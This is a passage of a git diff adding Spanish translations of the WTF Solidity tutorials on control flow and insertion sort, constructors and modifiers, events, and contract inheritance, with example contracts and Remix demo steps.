ifElseTest(uint256 _number) public pure returns(bool){ + if(_number == 0){ + return(true); + }else{ + return(false); + } +} +``` + +2. `bucle for` + +```solidity +function forLoopTest() public pure returns(uint256){ + uint sum = 0; + for(uint i = 0; i < 10; i++){ + sum += i; + } + return(sum); +} +``` + +3. `bucle while` + +```solidity +function whileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + while(i < 10){ + sum += i; + i++; + } + return(sum); +} +``` + +4. `bucle do-while` + +```solidity +function doWhileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + do{ + sum += i; + i++; + }while(i < 10); + return(sum); +} +``` + +5. Operador condicional (`ternario`) + +El operador `ternario` es el único operador en Solidity que acepta tres operandos: una condición seguida por un signo de interrogación (`?`), luego una expresión `x` para ejecutarse si la condición es verdadera, seguida por dos puntos (`:`), y finalmente la expresión `y` para ejecutarse si la condición es falsa: `condición ? x : y`. + +Este operador se usa frecuentemente como una alternativa a una declaración `if-else`. + +```solidity +// operador ternario/condicional +function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ + // devuelve el máximo entre 'x' y 'y', si x es mayor que y, devuelve x, de lo contrario, devuelve y + return x >= y ? x : y; +} +``` + +Además, hay palabras clave `continue` (continuar directamente a la siguiente interacción) y `break` (salir del bucle actual) que se pueden usar. + +## Implementación de Ordenamiento por Inserción en `Solidity`. + +**Nota**: Más del 90% de las personas que escriben el algoritmo de inserción con Solidity lo harán mal en el primer intento. + +### Ordenamiento por Inserción + +El algoritmo de ordenamiento resuelve el problema de ordenar un conjunto desordenado de números de menor a mayor, por ejemplo, ordenar `[2, 5, 3, 1]` a `[1, 2, 3, 5]`. El ordenamiento por Inserción (`InsertionSort`) es el algoritmo de ordenamiento más simple y suele ser el primero que aprenden la mayoría de los desarrolladores en su clase de ciencias de la computación. La lógica de `InsertionSort`: + +1. Desde el primer elemento del arreglo `x` hasta el último, se compara el elemento `x[i]` con el elemento frente a él `x[i-1]`; si `x[i]` es menor, cambia sus posiciones, luego lo compara con `x[i-2]`, y repite el proceso. + +El esquema del ordenamiento por inserción: +- Sorted = Ordenado +- Unsorted = No ordenado + +![InsertionSort](https://i.pinimg.com/originals/92/b0/34/92b034385c440e08bc8551c97df0a2e3.gif) + +### Implementación en Python + +Veamos primero la implementación en Python del ordenamiento por inserción: + +```python +# Programa en Python para la implementación del Ordenamiento por Inserción +def insertionSort(arr): + for i in range(1, len(arr)): + key = arr[i] + j = i-1 + while j >=0 and key < arr[j] : + arr[j+1] = arr[j] + j -= 1 + arr[j+1] = key + return arr +``` + +### Implementación en Solidity (con Error) + +La versión en Python del Ordenamiento por Inserción ocupa 9 líneas. Se reescribirá reemplazando `funciones`, `variables` y `bucles` con la sintaxis de Solidity correspondiente. Esta implementación solo ocupa 9 líneas de código: + +``` solidity + // Ordenamiento por Inserción (Versión incorrecta) + function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i-1; + while( (j >= 0) && (temp < a[j])){ + a[j+1] = a[j]; + j--; + } + a[j+1] = temp; + } + return(a); + } +``` + +Pero cuando se compila la versión modificada y tratamos de ordenar `[2, 5, 3, 1]`. *BOOM!* ¡Hay errores! Después de 3 horas de depuración, aún no pude encontrar dónde estaba el error. Busqué "Solidity insertion sort" en Google, y encontré que todos los algoritmos de inserción escritos con Solidity estaban equivocados, como: [Ordenamiento en Solidity sin Comparación](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d) + +Aquí los errores en la consola de `Remix`: + +![10-1](./img/10-1.jpg) + +### Implementación en Solidity (Correcta) + +Con la ayuda de un amigo de la comunidad `Dapp-Learning`, finalmente encontramos el problema. El tipo de variable más utilizado en Solidity es `uint`, que representa un entero no negativo. Si se intenta tomar un valor negativo, se producirá un error de `underflow`. En el código anterior, la variable `j` tomaba `-1`, causando el error. + +Por lo tanto, necesitamos agregar `1` a `j` para que nunca tome un valor negativo. El código correcto de ordenamiento por inserción en Solidity: + +```solidity + // Ordenamiento por Inserción (Versión Correcta) + function insertionSort(uint[] memory a) public pure returns(uint[] memory) { + // nota que uint no puede tomar valor negativo + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i; + while( (j >= 1) && (temp < a[j-1])){ + a[j] = a[j-1]; + j--; + } + a[j] = temp; + } + return(a); + } +``` + +Resultado: + + !["Input [2,5,3,1] Output[1,2,3,5]"](https://images.mirror-media.xyz/publication-images/S-i6rwCMeXoi8eNJ0fRdB.png?height=300&width=554) + +## Resumen + +En esta lección, se introdujo el flujo de control en Solidity y escribimos un algoritmo de ordenamiento simple pero propenso a errores. Solidity parece simple pero tiene muchas trampas. Cada mes, proyectos son hackeados y pierden millones de dólares debido a pequeños errores en los contratos inteligentes. Para escribir un contrato seguro, necesitamos dominar los fundamentos de Solidity y seguir practicando. \ No newline at end of file diff --git a/Languages/es/11_Modificador_es/Owner.sol b/Languages/es/11_Modificador_es/Owner.sol new file mode 100644 index 000000000..e4a315a3e --- /dev/null +++ b/Languages/es/11_Modificador_es/Owner.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Owner { + address public owner; // define la variable owner + + // constructor + constructor() { + owner = msg.sender; //Asigna la la dirección del usuario que despliega el contrato como owner + } + + // define modifier + modifier onlyOwner { + require(msg.sender == owner); // verifica si la dirección que ejecuta la función es la dirección del propietario + _; // si es verdadero, continúa ejecutando el cuerpo de la función; de lo contrario, lanza un error y revierte la transacción + } + + // define una función con el modificador onlyOwner + function changeOwner(address _newOwner) external onlyOwner{ + owner = _newOwner; // solo la dirección del propietario puede ejecutar esta función y cambiar el propietario + } +} \ No newline at end of file diff --git a/Languages/es/11_Modificador_es/img/11-2_es.png b/Languages/es/11_Modificador_es/img/11-2_es.png new file mode 100644 index 000000000..38cab589d Binary files /dev/null and b/Languages/es/11_Modificador_es/img/11-2_es.png differ diff --git a/Languages/es/11_Modificador_es/img/11-3_es.png b/Languages/es/11_Modificador_es/img/11-3_es.png new file mode 100644 index 000000000..b036b550a Binary files /dev/null and b/Languages/es/11_Modificador_es/img/11-3_es.png differ diff --git a/Languages/es/11_Modificador_es/img/11-4_es.png b/Languages/es/11_Modificador_es/img/11-4_es.png new file mode 100644 index 000000000..7d0251bab Binary files /dev/null and b/Languages/es/11_Modificador_es/img/11-4_es.png differ diff --git a/Languages/es/11_Modificador_es/readme.md b/Languages/es/11_Modificador_es/readme.md new file mode 100644 index 000000000..e1523374d --- /dev/null +++ b/Languages/es/11_Modificador_es/readme.md @@ -0,0 +1,90 @@ +--- +Título: 11. Constructor y modificador + +tags: + - solidity + - basic + - wtfacademy + - constructor + - modifier +--- + +# Tutorial WTF Solidity: 11. Constructor & Modificador + +Recientemente, he estado revisando Solidity, consolidando detalles y escribiendo tutoriales "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Sebas G con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@scguaquetam](https://twitter.com/scguaquetam) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +En esta sección, se introducirá `constructor` y `modificador` en Solidity, utilizando como ejemplo un contrato de control de acceso (`Ownable`). + +## Constructor +`constructor` es una función especial, que se ejecutará automáticamente una vez durante el despliegue del contrato. Cada contrato puede tener un `constructor`. Se puede usar para inicializar parámetros de un contrato, como una dirección de propietario (`owner`): + +```solidity + address owner; // define la variable propietario + + // constructor + constructor() { + owner = msg.sender; //Asigna la la dirección del usuario que despliega el contrato como owner + } +``` + +**Nota**: La sintaxis del constructor en solidity no es consistente para diferentes versiones: Antes de `solidity 0.4.22`, los constructores no usaban la palabra clave constructor. En su lugar, el constructor tenía el mismo nombre que el contrato. Esta antigua sintaxis es propensa a errores: el desarrollador podría nombrar erróneamente el contrato como `Parents`, mientras que el constructor como `parents`. Por lo tanto, en `0.4.22` y versiones posteriores, se utiliza la nueva palabra clave `constructor`. Ejemplo de constructor anterior a `solidity 0.4.22`: + +```solidity +pragma solidity = 0.4.21; +contract Parents { + // La función que tiene el mismo nombre que el contrato (Parents) es el constructor + function Parents () public { + } +} +``` + +## Modificador +`modifier` es similar a `decorador` en la programación orientada a objetos, que se utiliza para declarar propiedades dedicadas de funciones y reducir la redundancia de código. El `modificador` es la Armadura de Iron Man para funciones: la función con `modificador` tendrá algunas propiedades mágicas. El caso de uso más popular de `modificador` es restringir el acceso a las funciones. + +![Iron Man's modifier](https://images.mirror-media.xyz/publication-images/nVwXsOVmrYu8rqvKKPMpg.jpg?height=630&width=1200) + +Se define un modificador llamado `onlyOwner`. Las Función que usen `OnlyOwner` solo pueden ser llamadas por el propietario (`owner`): +```solidity + // define el modificador + modifier onlyOwner { + require(msg.sender == owner); // verifica si la dirección que llama la función es la dirección del propietario + _; // ejecuta el cuerpo de la función + } +``` + +A continuación, definamos una función `changeOwner`, que puede cambiar el propietario (`owner`) del contrato. Sin embargo, debido al modificador `onlyOwner`, solo el propietario original puede llamarla. Esta es la forma más común de control de acceso en contratos inteligentes. + +```solidity + function changeOwner(address _newOwner) external onlyOwner{ + owner = _newOwner; // solo la dirección del propietario puede ejecutar esta función y cambiar el propietario + } +``` + +### Implementación de Ownable de OpenZeppelin: +`OppenZeppelin` es una organización que mantiene una base de código estandarizada para `Solidity`, Su implementación estándar de `Ownable` está en [este enlace](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol). + +## Demo en Remix +Aquí, tomamos Owner.sol como ejemplo. +1. Compilar y despliega el código en Remix. +2. Hacer clic en el botón `owner` para ver la dirección del propietario actual. + ![](img/11-2_es.png) +3. La transacción tiene éxito cuando la función `changeOwner` es llamada por el usuario de la dirección del propietario. + ![](img/11-3_es.png) +4. La transacción falla cuando la función `changeOwner` es llamada por otras direcciones. + ![](img/11-4_es.png) + + +## Summary +En esta lección, se introdujo `constructor` y `modificador` en Solidity, y escribimos un contrato `Ownable` que controla el acceso del contrato. diff --git a/Languages/es/12_Eventos_es/Event.sol b/Languages/es/12_Eventos_es/Event.sol new file mode 100644 index 000000000..e14735872 --- /dev/null +++ b/Languages/es/12_Eventos_es/Event.sol @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.23; +contract Events { + // Definir la variable _balance de tipo mapping para registrar el número de tokens que posee cada dirección + mapping(address => uint256) public _balances; + + // Definir el evento Transfer para guardar la dirección de transferencia, la dirección que recibe y el valor transferido. + event Transfer(address indexed from, address indexed to, uint256 value); + + + // definir función _transfer,ejecutar la lógica de la función + function _transfer( + address from, + address to, + uint256 amount + ) external { + + _balances[from] = 10000000; // Emitir unos tokens iniciales para transferir + + _balances[from] -= amount; // la dirección `from` resta el valor a transferir + _balances[to] += amount; // la dirección `to` suma el valor a transferir + + // emitir evento + emit Transfer(from, to, amount); + } +} diff --git a/Languages/es/12_Eventos_es/img/12-1_es.png b/Languages/es/12_Eventos_es/img/12-1_es.png new file mode 100644 index 000000000..b9560fa57 Binary files /dev/null and b/Languages/es/12_Eventos_es/img/12-1_es.png differ diff --git a/Languages/es/12_Eventos_es/img/12-2_es.png b/Languages/es/12_Eventos_es/img/12-2_es.png new file mode 100644 index 000000000..44bbb9ada Binary files /dev/null and b/Languages/es/12_Eventos_es/img/12-2_es.png differ diff --git a/Languages/es/12_Eventos_es/img/12-3.jpg b/Languages/es/12_Eventos_es/img/12-3.jpg new file mode 100644 index 000000000..72d16edc6 Binary files /dev/null and b/Languages/es/12_Eventos_es/img/12-3.jpg differ diff --git a/Languages/es/12_Eventos_es/readme.md b/Languages/es/12_Eventos_es/readme.md new file mode 100644 index 000000000..4f807eacd --- /dev/null +++ b/Languages/es/12_Eventos_es/readme.md @@ -0,0 +1,111 @@ +--- +Título: 12. Eventos +tags: + - solidity + - basic + - wtfacademy + - event +--- + +# Tutorial WTF Solidity: 12. Eventos + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Jonathan Díaz con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@jonthdiaz](https://twitter.com/jonthdiaz) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +En esta sección, se introducirá el concepto de `event` en Solidity, utilizando tokens de tipo ERC20 como ejemplos. + +## Eventos +Eventos en `solidity` son registros de transacciones almacenados en la `EVM` (Ethereum Virtual Machine). Los eventos pueden emitirse durante las llamadas a funciones y son accesibles a través de la dirección del contrato inteligente. Los eventos tienen dos características. + +- Responsivo: Las aplicaciones (por ejemplo [`ethers.js`](https://learnblockchain.cn/docs/ethers.js/api-contract.html#id18)) pueden suscribirse y escuchar estos eventos usando la interfaz `RPC` y enviar una respuesta al frontend. +- Económicos: Es barato almacenar datos en eventos, costando alrededor de 2,000 `gas` cada uno. En comparación con almacenar una nueva variable en la cadena que requiere al menos 20,000 `gas`. + +### Declarar eventos +Los eventos se declaran con la palabra clave `event`, seguida del nombre del evento, el tipo y el nombre de cada parámetro. Se usa como ejemplo el evento `Transfer` del contrato `ERC20` +```solidity +event Transfer(address indexed from, address indexed to, uint256 value); +``` +El evento `Transfer` registra tres parámetros `from`, `to` y `value`, que corresponden a la dirección de donde se envían los tokens, la dirección que recibe y la cantidad de tokens transferidos. Los parámetros `from` y `to` están marcados con la palabra clave `indexed`, lo que significa que se almacenaran en una estructura de datos especial conocida como `topics`, estos valores se pueden consultar fácilmente por otras aplicaciones. + + +### Emitir eventos +Se pueden emitir eventos en funciones. En el siguiente ejemplo, cada vez que se llama a la función `_transfer()`, se emitirán eventos `Transfer` y se almacenaran los parámetros correspondientes. +```solidity + // definir la función _transfer y ejecutar la lógica de la función + function _transfer( + address from, + address to, + uint256 amount + ) external { + + _balances[from] = 10000000; // Emitir unos tokens iniciales para transferir + + _balances[from] -= amount; // la dirección `from` resta el valor a transferir + _balances[to] += amount; // la dirección `to` suma el valor a transferir + + // emitir el evento + emit Transfer(from, to, amount); + } +``` + +## Registro EVM + +EVM utiliza `Log` para almacenar eventos en Solidity. Cada registro contiene dos partes: `topics` y `data`. + +![](img/12-3.jpg) + +### `Tópicos` (topics) + +Los `Topics` se utilizan para describir eventos. Cada evento contiene un máximo de 4 `topics`. Normalmente, el primer `topic` es el hash del evento. +El hash del evento `Transfer` se calcula de la siguiente manera: + +```solidity +keccak256("Transfer(address,address,uint256)") + +//0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef +``` + +Además del hash del evento, los `topics` pueden incluir 3 parámetros `indexed` como son los parámetros `from` y `to` en el evento `Transfer`. Un evento anónimo es especial, no tiene nombre de evento y puede tener un máximo de 4 parámetros `indexed`. + +Los parámetros `indexed` se pueden entender como la clave "indexada" para los eventos, estos parámetros se pueden consultar fácilmente por programas. El tamaño de cada parámetro `indexed` es de 32 bytes. Cuando el parámetro es mayor de 32 bytes, como son `array` y `string`, se almacena el hash. + +### `Datos` + +Los parámetros no indexados se almacenarán en la sección `data` del registro. Se pueden interpretar como el "valor" del evento y no se pueden recuperar directamente. Pero pueden almacenar datos de mayor tamaño. Por lo tanto, la sección `data` se puede utilizar para almacenar estructuras de datos complejas, como `array` y `string`. Además, `data` consume menos gas en comparación con `topic`. + +## Demo en Remix +Tomemos el contrato `Event.sol` como ejemplo. + +1. Desplegar el contrato `Event`. + +2. Llamar la función `transfer` para emitir el evento `Transfer`. + +![](./img/12-1_es.png) + +3. Revisar los detalles de la transacción para verificar el evento emitido. + +![](./img/12-2_es.png) + +### Consultar el evento en etherscan + +Etherscan es un explorador de bloques que permite ver datos públicos sobre transacciones, contratos inteligentes y más en la blockchain de Ethereum. Primero, Desplegar el contrato en una red de pruebas (Sepolia o Goerli). Segundo, llamar a la función `_transfer` para transferir 100 tokens. Después de eso, se puede verificar los detalles de la transacción en `etherscan`:[URL](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7) + +Hacer clic en el botón `Logs` para verificar los detalles del evento: + +![Detalles del evento](https://images.mirror-media.xyz/publication-images/gx6_wDMYEl8_Gc_JkTIKn.png?height=980&width=1772) + +Hay 3 elementos: `Topics`: `[0]` es el hash del evento, `[1]` y `[2]` son los parámetros `indexed` definidos en el evento, `Transfer` (`from` y `to`). El elemento `Data` es el parámetro no indexado `amount`. + +## Resumen +En esta lección, se introdujo cómo usar y consultar eventos en `solidity`. Muchas herramientas de análisis en on-chain se basan en eventos de solidity, como `Dune Analytics`. diff --git a/Languages/es/13_Herencia_es/ConstructorInheritance.sol b/Languages/es/13_Herencia_es/ConstructorInheritance.sol new file mode 100644 index 000000000..aa4960f52 --- /dev/null +++ b/Languages/es/13_Herencia_es/ConstructorInheritance.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +abstract contract A { + uint public a; + + constructor(uint _a) { + a = _a; + } +} +contract B is A(1) { +} + +contract C is A { + constructor(uint _c) A(_c * _c) {} +} diff --git a/Languages/es/13_Herencia_es/DiamondInheritance.sol b/Languages/es/13_Herencia_es/DiamondInheritance.sol new file mode 100644 index 000000000..4e487789e --- /dev/null +++ b/Languages/es/13_Herencia_es/DiamondInheritance.sol @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +/* Árbol de herencia visualizado: + God + / \ +Adam Eve + \ / +people +*/ + +contract God { + event Log(string message); + + function foo() public virtual { + emit Log("God.foo llamado"); + } + + function bar() public virtual { + emit Log("God.bar llamado"); + } +} + +contract Adam is God { + function foo() public virtual override { + emit Log("Adam.foo llamado"); + } + + function bar() public virtual override { + emit Log("Adam.bar llamado"); + super.bar(); + } +} + +contract Eve is God { + function foo() public virtual override { + emit Log("Eve.foo llamado"); + } + + function bar() public virtual override { + emit Log("Eve.bar llamado"); + super.bar(); + } +} + +contract people is Adam, Eve { + function foo() public override(Adam, Eve) { + super.foo(); + } + + function bar() public override(Adam, Eve) { + super.bar(); + } +} diff --git a/Languages/es/13_Herencia_es/Inheritance.sol b/Languages/es/13_Herencia_es/Inheritance.sol new file mode 100644 index 000000000..eb3e1b1f8 --- /dev/null +++ b/Languages/es/13_Herencia_es/Inheritance.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Contrato de herencia +contract Grandfather { + event Log(string msg); + + // Aplicar herencia a las siguientes 3 funciones: hip(), pop(), man(),luego registrar "Grandfather". + function hip() public virtual{ + emit Log("Grandfather"); + } + + function pop() public virtual{ + emit Log("Grandfather"); + } + + function grandfather() public virtual { + emit Log("Grandfather"); + } +} + +contract Father is Grandfather{ + // Aplicamos herencia a las siguientes 2 funciones: hip() y pop(), luego cambiamos el valor del registro a `Father`. + function hip() public virtual override{ + emit Log("Father"); + } + + function pop() public virtual override{ + emit Log("Father"); + } + + function father() public virtual{ + emit Log("Father"); + } +} + +contract Son is Grandfather, Father{ + // Aplicamos herencia a las siguientes 2 funciones: hip() y pop(), luego cambiamos el valor del registro a "Son". + function hip() public virtual override(Grandfather, Father){ + emit Log("Son"); + } + + function pop() public virtual override(Grandfather, Father) { + emit Log("Son"); + } + + function callParent() public{ + Grandfather.pop(); + } + + function callParentSuper() public{ + super.pop(); + } +} + diff --git a/Languages/es/13_Herencia_es/ModifierInheritance.sol b/Languages/es/13_Herencia_es/ModifierInheritance.sol new file mode 100644 index 000000000..e3b9c9628 --- /dev/null +++ b/Languages/es/13_Herencia_es/ModifierInheritance.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Base1 { + modifier exactDividedBy2And3(uint _a) virtual { + require(_a % 2 == 0 && _a % 3 == 0); + _; + } +} + +contract Identifier is Base1 { + + //Calcular el valor de un número dividido por 2 y dividido por 3, respectivamente, pero los parámetros pasados deben ser múltiplos de 2 y 3 + function getExactDividedBy2And3(uint _dividend) public exactDividedBy2And3(_dividend) pure returns(uint, uint) { + return getExactDividedBy2And3WithoutModifier(_dividend); + } + + //Calcular del valor de un número devidido por 2 y dividido por 3, respectivamente + function getExactDividedBy2And3WithoutModifier(uint _dividend) public pure returns(uint, uint){ + uint div2 = _dividend / 2; + uint div3 = _dividend / 3; + return (div2, div3); + } + + + // Reescribir el modificador: cuando no se reescribe, se ingresa 9 para llamar a getExactDividedBy2And3, se revertirá por que no puede pasar la verificación. + // Eliminar las siguientes tres lineas de comentarios y reescribir la función del modificador. En este momento, se ingresa 9 para llamar a getExactDividedBy2And3, y la llamada será exitosa. + // modifier exactDividedBy2And3(uint _a) override { + // _; + // } +} + diff --git a/Languages/es/13_Herencia_es/img/13-1.png b/Languages/es/13_Herencia_es/img/13-1.png new file mode 100644 index 000000000..c471118f9 Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-1.png differ diff --git a/Languages/es/13_Herencia_es/img/13-10.png b/Languages/es/13_Herencia_es/img/13-10.png new file mode 100644 index 000000000..07b53e36e Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-10.png differ diff --git a/Languages/es/13_Herencia_es/img/13-2.png b/Languages/es/13_Herencia_es/img/13-2.png new file mode 100644 index 000000000..a157eccc1 Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-2.png differ diff --git a/Languages/es/13_Herencia_es/img/13-3.png b/Languages/es/13_Herencia_es/img/13-3.png new file mode 100644 index 000000000..13ec29c95 Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-3.png differ diff --git a/Languages/es/13_Herencia_es/img/13-4.png b/Languages/es/13_Herencia_es/img/13-4.png new file mode 100644 index 000000000..a268b25d8 Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-4.png differ diff --git a/Languages/es/13_Herencia_es/img/13-5.png b/Languages/es/13_Herencia_es/img/13-5.png new file mode 100644 index 000000000..7bd3e7a1e Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-5.png differ diff --git a/Languages/es/13_Herencia_es/img/13-6.png b/Languages/es/13_Herencia_es/img/13-6.png new file mode 100644 index 000000000..e7a41991a Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-6.png differ diff --git a/Languages/es/13_Herencia_es/img/13-7.png b/Languages/es/13_Herencia_es/img/13-7.png new file mode 100644 index 000000000..c60319686 Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-7.png differ diff --git a/Languages/es/13_Herencia_es/img/13-8.png b/Languages/es/13_Herencia_es/img/13-8.png new file mode 100644 index 000000000..1d85c6f0f Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-8.png differ diff --git a/Languages/es/13_Herencia_es/img/13-9.png b/Languages/es/13_Herencia_es/img/13-9.png new file mode 100644 index 000000000..39503520b Binary files /dev/null and b/Languages/es/13_Herencia_es/img/13-9.png differ diff --git a/Languages/es/13_Herencia_es/readme.md b/Languages/es/13_Herencia_es/readme.md new file mode 100644 index 000000000..686dabed1 --- /dev/null +++ b/Languages/es/13_Herencia_es/readme.md @@ -0,0 +1,299 @@ +--- +Título: 13. Herencia +tags: + - solidity + - basic + - wtfacademy + - inheritance +--- + +# Tutorial WTF Solidity: 13. Herencia + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Jonathan Díaz con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@jonthdiaz](https://twitter.com/jonthdiaz) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +En esta sección, se introducirá la `herencia` en Solidity, incluyendo la herencia simple, múltiple y la herencia de los modificadores y constructores. + +## Herencia +La herencia es uno de los conceptos fundamentales de la programación orientada a objetos, que puede reducir significativamente la redundancia de código. Es un mecanismo donde se puede derivar una clase de otra clase para tener una jerarquía de clases que comparten un conjunto de atributos y métodos. En Solidity, los contratos inteligentes pueden ser vistos como objetos por lo tanto pueden soporta herencia. + +### Reglas + +Hay dos palabras claves para la herencia en Solidity: + +- `virtual`: Si se desea que las funciones en el contrato padre sean sobrescritas en los contratos hijos, deben ser declaradas como `virtual`. +- `override`: Si las funciones en el contrato hijo sobrescriben las funciones de su contrato padre, deben ser declaradas como `override`. + +**Nota 1**: Si una función sobrescribe y se espera que sea sobrescrita, debe ser etiquetada como `virtual override`. + +**Nota 2**: Si una variable de estado `public` esta etiquetada como `override` su función `getter` será sobrescrita. Por ejemplo: + +```solidity +mapping(address => uint256) public override balanceOf; +``` + +### Herencia Simple + +Comencemos escribiendo un contrato simple `Grandfather` que contiene 1 evento `log` y 3 funciones `hip()` `pop()` `Grandfather`, que produce la salida de una cadena `"Grandfather"` + +```solidity +contract Grandfather { + event Log(string msg); + + // Aplicar herencia a las siguientes 3 funciones: hip(), pop(), man(),luego registrar "Grandfather". + function hip() public virtual{ + emit Log("Grandfather"); + } + + function pop() public virtual{ + emit Log("Grandfather"); + } + + function Grandfather() public virtual { + emit Log("Grandfather"); + } +} +``` + +Vamos a definir otro contrato llamado `Father` el cual hereda del contrato `Grandfather`. La sintaxis para la herencia es `contract Father is Grandfather`, lo cual es muy intuitivo. En el contrato `Father` se reescriben las funciones `hip()` y `pop()` con la palabra clave `override`, cambiando su salida a `"Father"`. También agregamos una nueva función llamada `father`, que devuelve una cadena `"Father"`. + + +```solidity +contract Father is Grandfather{ + // Aplicamos herencia a las siguientes 2 funciones: hip() y pop(), luego cambiamos el valor del registro a `Father`. + function hip() public virtual override{ + emit Log("Father"); + } + + function pop() public virtual override{ + emit Log("Father"); + } + + function father() public virtual{ + emit Log("Father"); + } +} +``` + +Después de desplegar el contrato, se puede ver que el contrato `Father` contiene 4 funciones. Las salidas de `hip()` y `pop` se reescriben con el el valor `"Father"`, mientras la salida de la funcion heredada `grandfather` sigue siendo `"Grandfather"` + + +### Herencia múltiple + +Un contrato en solidity puede heredar de múltiples contratos. Las reglas son las siguientes: + +1. Para la herencia múltiple, los contratos padres deben estar ordenados por antigüedad, desde el más prioritario al menos prioritario. Por ejemplo: `contract Son is Grandfather, Father`. La anterior definición lanzará un error si el orden no es correcto. + +2. Si una función existe en múltiples contratos padres, la función debe ser sobrescrita en el contrato hijo, de lo contrario se producirá un error. + +3. Cuando una función existe en múltiples contratos padres, se deben colocar todos los nombres de los contratos padres después de la palabra clave `override`. Por ejemplo: `override(Grandfather, Father)` + +Ejemplo: +```solidity +contract Son is Grandfather, Father{ + // Aplicamos herencia a las siguientes 2 funciones: hip() y pop(), luego cambiamos el valor del registro a "Son". + function hip() public virtual override(Grandfather, Father){ + emit Log("Son"); + } + + function pop() public virtual override(Grandfather, Father) { + emit Log("Son"); + } +``` + +Después de desplegar el contrato, se puede ver que hemos reescrito con éxito las funciones `hip()` y `pop()` en el contrato `Son`, cambiando la salida a `"Son"`. Mientras que las funciones `grandfather` y `father` heredadas de sus contratos padres permanecen sin cambios. + +### Herencia en los modificadores + +Del mismo modo, los modificadores en Solidity también pueden ser heredados. Las reglas para la herencia de los modificadores son similares a la herencia de las funciones, se utilizan las palabras claves `virtual` y `override`. + +```solidity +contract Base1 { + modifier exactDividedBy2And3(uint _a) virtual { + require(_a % 2 == 0 && _a % 3 == 0); + _; + } +} + +contract Identifier is Base1 { + //Calcular el valor de un número dividido por 2 y dividido por 3, respectivamente, pero los parámetros pasados deben ser múltiplos de 2 y 3 + function getExactDividedBy2And3(uint _dividend) public exactDividedBy2And3(_dividend) pure returns(uint, uint) { + return getExactDividedBy2And3WithoutModifier(_dividend); + } + + //Calcular del valor de un número devidido por 2 y dividido por 3, respectivamente + function getExactDividedBy2And3WithoutModifier(uint _dividend) public pure returns(uint, uint){ + uint div2 = _dividend / 2; + uint div3 = _dividend / 3; + return (div2, div3); + } +} +``` + +El contrato `Identifier` puede usar directamente el modificador `exactDividedBy2And3`, por que hereda del contrato `Base1`. También podemos reescribir el modificador del contrato. + +```solidity + modifier exactDividedBy2And3(uint _a) override { + _; + require(_a % 2 == 0 && _a % 3 == 0); + } +``` + +### Herencia de los constructores + +Los constructores también pueden ser heredados. Primero consideremos un contrato padre `A` con una variable de estado `a`, que se inicializa en su constructor: + +```solidity +// Aplicando la herencia al constructor de las funciones. +abstract contract A { + uint public a; + + constructor(uint _a) { + a = _a; + } +} +``` + +Hay dos formas para que un contrato hijo herede del constructor de su padre `A`: +1. Declarar el parámetro del constructor 